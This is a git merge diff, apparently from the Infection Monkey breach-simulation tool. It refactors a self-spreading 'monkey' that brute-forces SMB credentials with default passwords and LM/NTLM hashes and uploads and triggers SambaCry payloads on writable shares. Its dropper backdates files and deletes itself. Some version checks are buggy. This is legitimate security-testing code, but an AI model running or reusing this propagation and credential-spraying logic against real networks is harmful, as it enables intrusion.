Merge branch 'develop' into feature/change-exploit-telemetry
This commit is contained in:
commit
b310092cd5
|
@ -1 +1 @@
|
||||||
c:\python27\Scripts\pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
|
pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
|
|
@ -111,7 +111,7 @@ class Configuration(object):
|
||||||
# dropper config
|
# dropper config
|
||||||
###########################
|
###########################
|
||||||
|
|
||||||
dropper_try_move_first = sys.argv[0].endswith(".exe")
|
dropper_try_move_first = True
|
||||||
dropper_set_date = True
|
dropper_set_date = True
|
||||||
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
||||||
dropper_date_reference_path_linux = '/bin/sh'
|
dropper_date_reference_path_linux = '/bin/sh'
|
||||||
|
@ -173,6 +173,8 @@ class Configuration(object):
|
||||||
# addresses of internet servers to ping and check if the monkey has internet acccess.
|
# addresses of internet servers to ping and check if the monkey has internet acccess.
|
||||||
internet_services = ["monkey.guardicore.com", "www.google.com"]
|
internet_services = ["monkey.guardicore.com", "www.google.com"]
|
||||||
|
|
||||||
|
keep_tunnel_open_time = 60
|
||||||
|
|
||||||
###########################
|
###########################
|
||||||
# scanners config
|
# scanners config
|
||||||
###########################
|
###########################
|
||||||
|
@ -213,7 +215,7 @@ class Configuration(object):
|
||||||
# exploiters config
|
# exploiters config
|
||||||
###########################
|
###########################
|
||||||
|
|
||||||
skip_exploit_if_file_exist = True
|
skip_exploit_if_file_exist = False
|
||||||
|
|
||||||
ms08_067_exploit_attempts = 5
|
ms08_067_exploit_attempts = 5
|
||||||
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
||||||
|
@ -231,8 +233,24 @@ class Configuration(object):
|
||||||
"""
|
"""
|
||||||
return product(self.exploit_user_list, self.exploit_password_list)
|
return product(self.exploit_user_list, self.exploit_password_list)
|
||||||
|
|
||||||
|
def get_exploit_user_password_or_hash_product(self):
|
||||||
|
"""
|
||||||
|
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
|
cred_list = []
|
||||||
|
for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']):
|
||||||
|
cred_list.append(cred)
|
||||||
|
for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list):
|
||||||
|
cred_list.append(cred)
|
||||||
|
for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']):
|
||||||
|
cred_list.append(cred)
|
||||||
|
return cred_list
|
||||||
|
|
||||||
exploit_user_list = ['Administrator', 'root', 'user']
|
exploit_user_list = ['Administrator', 'root', 'user']
|
||||||
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
||||||
|
exploit_lm_hash_list = []
|
||||||
|
exploit_ntlm_hash_list = []
|
||||||
|
|
||||||
# smb/wmi exploiter
|
# smb/wmi exploiter
|
||||||
smb_download_timeout = 300 # timeout in seconds
|
smb_download_timeout = 300 # timeout in seconds
|
||||||
|
@ -244,22 +262,6 @@ class Configuration(object):
|
||||||
sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
|
sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
|
||||||
# Shares to not check if they're writable.
|
# Shares to not check if they're writable.
|
||||||
sambacry_shares_not_to_check = ["IPC$", "print$"]
|
sambacry_shares_not_to_check = ["IPC$", "print$"]
|
||||||
# Name of file which contains the monkey's commandline
|
|
||||||
sambacry_commandline_filename = "monkey_commandline.txt"
|
|
||||||
# Name of file which contains the runner's result
|
|
||||||
sambacry_runner_result_filename = "monkey_runner_result"
|
|
||||||
# SambaCry runner filename (32 bit)
|
|
||||||
sambacry_runner_filename_32 = "sc_monkey_runner32.so"
|
|
||||||
# SambaCry runner filename (64 bit)
|
|
||||||
sambacry_runner_filename_64 = "sc_monkey_runner64.so"
|
|
||||||
# Monkey filename on share (32 bit)
|
|
||||||
sambacry_monkey_filename_32 = "monkey32"
|
|
||||||
# Monkey filename on share (64 bit)
|
|
||||||
sambacry_monkey_filename_64 = "monkey64"
|
|
||||||
# Monkey copy filename on share (32 bit)
|
|
||||||
sambacry_monkey_copy_filename_32 = "monkey32_2"
|
|
||||||
# Monkey copy filename on share (64 bit)
|
|
||||||
sambacry_monkey_copy_filename_64 = "monkey64_2"
|
|
||||||
|
|
||||||
# system info collection
|
# system info collection
|
||||||
collect_system_info = True
|
collect_system_info = True
|
||||||
|
|
|
@ -1,14 +1,16 @@
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
import requests
|
|
||||||
import platform
|
import platform
|
||||||
import monkeyfs
|
|
||||||
from network.info import local_ips, check_internet_access
|
|
||||||
from socket import gethostname
|
from socket import gethostname
|
||||||
from config import WormConfiguration, GUID
|
|
||||||
from transport.tcp import TcpProxy
|
import requests
|
||||||
from transport.http import HTTPConnectProxy
|
|
||||||
|
import monkeyfs
|
||||||
import tunnel
|
import tunnel
|
||||||
|
from config import WormConfiguration, GUID
|
||||||
|
from network.info import local_ips, check_internet_access
|
||||||
|
from transport.http import HTTPConnectProxy
|
||||||
|
from transport.tcp import TcpProxy
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -60,7 +62,7 @@ class ControlClient(object):
|
||||||
timeout=20)
|
timeout=20)
|
||||||
break
|
break
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
WormConfiguration.current_server = ""
|
WormConfiguration.current_server = ""
|
||||||
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
||||||
|
|
||||||
|
@ -89,7 +91,7 @@ class ControlClient(object):
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
return {}
|
return {}
|
||||||
|
@ -105,7 +107,7 @@ class ControlClient(object):
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
|
@ -118,7 +120,7 @@ class ControlClient(object):
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
return
|
return
|
||||||
|
@ -126,7 +128,7 @@ class ControlClient(object):
|
||||||
try:
|
try:
|
||||||
unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
|
unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
|
||||||
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
|
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
# we don't continue with default conf here because it might be dangerous
|
# we don't continue with default conf here because it might be dangerous
|
||||||
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
|
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
|
||||||
WormConfiguration.current_server, reply._content, exc)
|
WormConfiguration.current_server, reply._content, exc)
|
||||||
|
@ -145,7 +147,7 @@ class ControlClient(object):
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
|
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
@ -215,7 +217,7 @@ class ControlClient(object):
|
||||||
if size == monkeyfs.getsize(dest_file):
|
if size == monkeyfs.getsize(dest_file):
|
||||||
return dest_file
|
return dest_file
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
|
@ -243,7 +245,7 @@ class ControlClient(object):
|
||||||
else:
|
else:
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warn("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
|
|
|
@ -1,17 +1,17 @@
|
||||||
|
import argparse
|
||||||
|
import ctypes
|
||||||
|
import logging
|
||||||
import os
|
import os
|
||||||
|
import pprint
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import ctypes
|
|
||||||
import shutil
|
|
||||||
import pprint
|
|
||||||
import logging
|
|
||||||
import subprocess
|
|
||||||
import argparse
|
|
||||||
from ctypes import c_char_p
|
from ctypes import c_char_p
|
||||||
|
|
||||||
|
from config import WormConfiguration
|
||||||
from exploit.tools import build_monkey_commandline_explicitly
|
from exploit.tools import build_monkey_commandline_explicitly
|
||||||
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||||
from config import WormConfiguration
|
|
||||||
from system_info import SystemInfoCollector, OperatingSystem
|
from system_info import SystemInfoCollector, OperatingSystem
|
||||||
|
|
||||||
if "win32" == sys.platform:
|
if "win32" == sys.platform:
|
||||||
|
@ -19,6 +19,12 @@ if "win32" == sys.platform:
|
||||||
else:
|
else:
|
||||||
DETACHED_PROCESS = 0
|
DETACHED_PROCESS = 0
|
||||||
|
|
||||||
|
# Linux doesn't have WindowsError
|
||||||
|
try:
|
||||||
|
WindowsError
|
||||||
|
except NameError:
|
||||||
|
WindowsError = None
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
@ -62,7 +68,7 @@ class MonkeyDrops(object):
|
||||||
self._config['source_path'], self._config['destination_path'])
|
self._config['source_path'], self._config['destination_path'])
|
||||||
|
|
||||||
file_moved = True
|
file_moved = True
|
||||||
except (WindowsError, IOError, OSError), exc:
|
except (WindowsError, IOError, OSError) as exc:
|
||||||
LOG.debug("Error moving source file '%s' into '%s': %s",
|
LOG.debug("Error moving source file '%s' into '%s': %s",
|
||||||
self._config['source_path'], self._config['destination_path'],
|
self._config['source_path'], self._config['destination_path'],
|
||||||
exc)
|
exc)
|
||||||
|
@ -75,7 +81,7 @@ class MonkeyDrops(object):
|
||||||
|
|
||||||
LOG.info("Copied source file '%s' into '%s'",
|
LOG.info("Copied source file '%s' into '%s'",
|
||||||
self._config['source_path'], self._config['destination_path'])
|
self._config['source_path'], self._config['destination_path'])
|
||||||
except (WindowsError, IOError, OSError), exc:
|
except (WindowsError, IOError, OSError) as exc:
|
||||||
LOG.error("Error copying source file '%s' into '%s': %s",
|
LOG.error("Error copying source file '%s' into '%s': %s",
|
||||||
self._config['source_path'], self._config['destination_path'],
|
self._config['source_path'], self._config['destination_path'],
|
||||||
exc)
|
exc)
|
||||||
|
@ -89,7 +95,7 @@ class MonkeyDrops(object):
|
||||||
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
|
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
|
||||||
try:
|
try:
|
||||||
ref_stat = os.stat(dropper_date_reference_path)
|
ref_stat = os.stat(dropper_date_reference_path)
|
||||||
except:
|
except OSError as exc:
|
||||||
LOG.warn("Cannot set reference date using '%s', file not found",
|
LOG.warn("Cannot set reference date using '%s', file not found",
|
||||||
dropper_date_reference_path)
|
dropper_date_reference_path)
|
||||||
else:
|
else:
|
||||||
|
@ -131,12 +137,12 @@ class MonkeyDrops(object):
|
||||||
# try removing the file first
|
# try removing the file first
|
||||||
try:
|
try:
|
||||||
os.remove(self._config['source_path'])
|
os.remove(self._config['source_path'])
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
|
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
|
||||||
|
|
||||||
# mark the file for removal on next boot
|
# mark the file for removal on next boot
|
||||||
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
|
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
|
||||||
if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None,
|
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
|
||||||
MOVEFILE_DELAY_UNTIL_REBOOT):
|
MOVEFILE_DELAY_UNTIL_REBOOT):
|
||||||
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
|
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
|
||||||
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
|
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
|
||||||
|
|
|
@ -6,6 +6,7 @@
|
||||||
"monkey.guardicore.com",
|
"monkey.guardicore.com",
|
||||||
"www.google.com"
|
"www.google.com"
|
||||||
],
|
],
|
||||||
|
"keep_tunnel_open_time": 60,
|
||||||
"range_class": "RelativeRange",
|
"range_class": "RelativeRange",
|
||||||
"range_fixed": [
|
"range_fixed": [
|
||||||
""
|
""
|
||||||
|
@ -27,7 +28,7 @@
|
||||||
|
|
||||||
"kill_file_path_linux": "/var/run/monkey.not",
|
"kill_file_path_linux": "/var/run/monkey.not",
|
||||||
"kill_file_path_windows": "%windir%\\monkey.not",
|
"kill_file_path_windows": "%windir%\\monkey.not",
|
||||||
"dropper_try_move_first": false,
|
"dropper_try_move_first": true,
|
||||||
"exploiter_classes": [
|
"exploiter_classes": [
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"SmbExploiter",
|
"SmbExploiter",
|
||||||
|
@ -62,20 +63,14 @@
|
||||||
"self_delete_in_cleanup": true,
|
"self_delete_in_cleanup": true,
|
||||||
"serialize_config": false,
|
"serialize_config": false,
|
||||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||||
"skip_exploit_if_file_exist": true,
|
"skip_exploit_if_file_exist": false,
|
||||||
"exploit_user_list": [],
|
"exploit_user_list": [],
|
||||||
"exploit_password_list": [],
|
"exploit_password_list": [],
|
||||||
|
"exploit_lm_hash_list": [],
|
||||||
|
"exploit_ntlm_hash_list": [],
|
||||||
"sambacry_trigger_timeout": 5,
|
"sambacry_trigger_timeout": 5,
|
||||||
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
||||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||||
"sambacry_commandline_filename": "monkey_commandline.txt",
|
|
||||||
"sambacry_runner_result_filename": "monkey_runner_result",
|
|
||||||
"sambacry_runner_filename_32": "sc_monkey_runner32.so",
|
|
||||||
"sambacry_runner_filename_64": "sc_monkey_runner64.so",
|
|
||||||
"sambacry_monkey_filename_32": "monkey32",
|
|
||||||
"sambacry_monkey_filename_64": "monkey64",
|
|
||||||
"sambacry_monkey_copy_filename_32": "monkey32_2",
|
|
||||||
"sambacry_monkey_copy_filename_64": "monkey64_2",
|
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"tcp_scan_get_banner": true,
|
"tcp_scan_get_banner": true,
|
||||||
"tcp_scan_interval": 200,
|
"tcp_scan_interval": 200,
|
||||||
|
|
|
@ -53,6 +53,9 @@ class ElasticGroovyExploiter(HostExploiter):
|
||||||
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
|
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
|
||||||
return False
|
return False
|
||||||
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
|
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
|
||||||
|
major = int(major)
|
||||||
|
minor = int(minor)
|
||||||
|
build = int(build)
|
||||||
if major > 1:
|
if major > 1:
|
||||||
return False
|
return False
|
||||||
if major == 1 and minor > 4:
|
if major == 1 and minor > 4:
|
||||||
|
|
|
@ -1,11 +1,10 @@
|
||||||
|
import itertools
|
||||||
import logging
|
import logging
|
||||||
|
import posixpath
|
||||||
import re
|
import re
|
||||||
import sys
|
|
||||||
import time
|
import time
|
||||||
from io import BytesIO
|
from io import BytesIO
|
||||||
from os import path
|
from os import path
|
||||||
import itertools
|
|
||||||
import posixpath
|
|
||||||
|
|
||||||
import impacket.smbconnection
|
import impacket.smbconnection
|
||||||
from impacket.nt_errors import STATUS_SUCCESS
|
from impacket.nt_errors import STATUS_SUCCESS
|
||||||
|
@ -34,10 +33,26 @@ class SambaCryExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
_target_os_type = ['linux']
|
_target_os_type = ['linux']
|
||||||
|
|
||||||
|
# Name of file which contains the monkey's commandline
|
||||||
|
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
||||||
|
# Name of file which contains the runner's result
|
||||||
|
SAMBACRY_RUNNER_RESULT_FILENAME = "monkey_runner_result"
|
||||||
|
# SambaCry runner filename (32 bit)
|
||||||
|
SAMBACRY_RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
|
||||||
|
# SambaCry runner filename (64 bit)
|
||||||
|
SAMBACRY_RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
|
||||||
|
# Monkey filename on share (32 bit)
|
||||||
|
SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
|
||||||
|
# Monkey filename on share (64 bit)
|
||||||
|
SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
|
||||||
|
# Monkey copy filename on share (32 bit)
|
||||||
|
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
|
||||||
|
# Monkey copy filename on share (64 bit)
|
||||||
|
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self, host, depth=-1, src_path=None):
|
||||||
if not self.is_vulnerable(host):
|
if not self.is_vulnerable(host):
|
||||||
return False
|
return False
|
||||||
|
@ -66,7 +81,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
|
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
|
||||||
|
|
||||||
if len(successfully_triggered_shares) > 0:
|
if len(successfully_triggered_shares) > 0:
|
||||||
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
|
LOG.info(
|
||||||
|
"Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
||||||
|
@ -84,9 +100,9 @@ class SambaCryExploiter(HostExploiter):
|
||||||
smb_client = self.connect_to_server(host.ip_addr, creds)
|
smb_client = self.connect_to_server(host.ip_addr, creds)
|
||||||
self.upload_module(smb_client, host, share, depth)
|
self.upload_module(smb_client, host, share, depth)
|
||||||
self.trigger_module(smb_client, share)
|
self.trigger_module(smb_client, share)
|
||||||
smb_client.close()
|
|
||||||
except (impacket.smbconnection.SessionError, SessionError):
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
|
LOG.debug(
|
||||||
|
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
|
||||||
|
|
||||||
def clean_share(self, ip, share, creds):
|
def clean_share(self, ip, share, creds):
|
||||||
"""
|
"""
|
||||||
|
@ -97,10 +113,9 @@ class SambaCryExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
smb_client = self.connect_to_server(ip, creds)
|
smb_client = self.connect_to_server(ip, creds)
|
||||||
tree_id = smb_client.connectTree(share)
|
tree_id = smb_client.connectTree(share)
|
||||||
file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
|
file_list = [self.SAMBACRY_COMMANDLINE_FILENAME, self.SAMBACRY_RUNNER_RESULT_FILENAME,
|
||||||
self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
|
self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64,
|
||||||
self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
|
self.SAMBACRY_MONKEY_FILENAME_32, self.SAMBACRY_MONKEY_FILENAME_64]
|
||||||
self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]
|
|
||||||
|
|
||||||
for filename in file_list:
|
for filename in file_list:
|
||||||
try:
|
try:
|
||||||
|
@ -109,7 +124,6 @@ class SambaCryExploiter(HostExploiter):
|
||||||
# Ignore exception to try and delete as much as possible
|
# Ignore exception to try and delete as much as possible
|
||||||
pass
|
pass
|
||||||
smb_client.disconnectTree(tree_id)
|
smb_client.disconnectTree(tree_id)
|
||||||
smb_client.close()
|
|
||||||
|
|
||||||
def get_trigger_result(self, ip, share, creds):
|
def get_trigger_result(self, ip, share, creds):
|
||||||
"""
|
"""
|
||||||
|
@ -123,7 +137,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
tree_id = smb_client.connectTree(share)
|
tree_id = smb_client.connectTree(share)
|
||||||
file_content = None
|
file_content = None
|
||||||
try:
|
try:
|
||||||
file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
|
file_id = smb_client.openFile(tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME,
|
||||||
desiredAccess=FILE_READ_DATA)
|
desiredAccess=FILE_READ_DATA)
|
||||||
file_content = smb_client.readFile(tree_id, file_id)
|
file_content = smb_client.readFile(tree_id, file_id)
|
||||||
smb_client.closeFile(tree_id, file_id)
|
smb_client.closeFile(tree_id, file_id)
|
||||||
|
@ -131,7 +145,6 @@ class SambaCryExploiter(HostExploiter):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
smb_client.disconnectTree(tree_id)
|
smb_client.disconnectTree(tree_id)
|
||||||
smb_client.close()
|
|
||||||
return file_content
|
return file_content
|
||||||
|
|
||||||
def get_writable_shares_creds_dict(self, ip):
|
def get_writable_shares_creds_dict(self, ip):
|
||||||
|
@ -143,6 +156,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
writable_shares_creds_dict = {}
|
writable_shares_creds_dict = {}
|
||||||
credentials_list = self.get_credentials_list()
|
credentials_list = self.get_credentials_list()
|
||||||
|
|
||||||
|
LOG.debug("SambaCry credential list: %s" % str(credentials_list))
|
||||||
|
|
||||||
for credentials in credentials_list:
|
for credentials in credentials_list:
|
||||||
try:
|
try:
|
||||||
smb_client = self.connect_to_server(ip, credentials)
|
smb_client = self.connect_to_server(ip, credentials)
|
||||||
|
@ -153,7 +168,6 @@ class SambaCryExploiter(HostExploiter):
|
||||||
if self.is_share_writable(smb_client, share):
|
if self.is_share_writable(smb_client, share):
|
||||||
writable_shares_creds_dict[share] = credentials
|
writable_shares_creds_dict[share] = credentials
|
||||||
|
|
||||||
smb_client.close()
|
|
||||||
except (impacket.smbconnection.SessionError, SessionError):
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
# If failed using some credentials, try others.
|
# If failed using some credentials, try others.
|
||||||
pass
|
pass
|
||||||
|
@ -161,15 +175,15 @@ class SambaCryExploiter(HostExploiter):
|
||||||
return writable_shares_creds_dict
|
return writable_shares_creds_dict
|
||||||
|
|
||||||
def get_credentials_list(self):
|
def get_credentials_list(self):
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||||
|
|
||||||
|
creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}
|
||||||
|
for user, password, lm_hash, ntlm_hash in creds]
|
||||||
|
|
||||||
# Add empty credentials for anonymous shares.
|
# Add empty credentials for anonymous shares.
|
||||||
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
|
creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''})
|
||||||
|
|
||||||
for user, password in user_password_pairs:
|
return creds
|
||||||
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
|
|
||||||
|
|
||||||
return credentials_list
|
|
||||||
|
|
||||||
def list_shares(self, smb_client):
|
def list_shares(self, smb_client):
|
||||||
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
||||||
|
@ -197,11 +211,17 @@ class SambaCryExploiter(HostExploiter):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
|
||||||
|
samba_version_parts[1] <= "13"):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
|
||||||
|
samba_version_parts[1] <= "9"):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
|
||||||
|
samba_version_parts[1] <= "3"):
|
||||||
|
is_vulnerable = True
|
||||||
|
else:
|
||||||
|
# If pattern doesn't match we can't tell what version it is. Better try
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
|
|
||||||
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
||||||
|
@ -243,23 +263,24 @@ class SambaCryExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
tree_id = smb_client.connectTree(share)
|
tree_id = smb_client.connectTree(share)
|
||||||
|
|
||||||
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
|
with self.get_monkey_commandline_file(host, depth,
|
||||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
|
self._config.dropper_target_path_linux) as monkey_commandline_file:
|
||||||
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
|
||||||
|
|
||||||
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read)
|
||||||
|
|
||||||
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
||||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read)
|
||||||
|
|
||||||
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
||||||
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
|
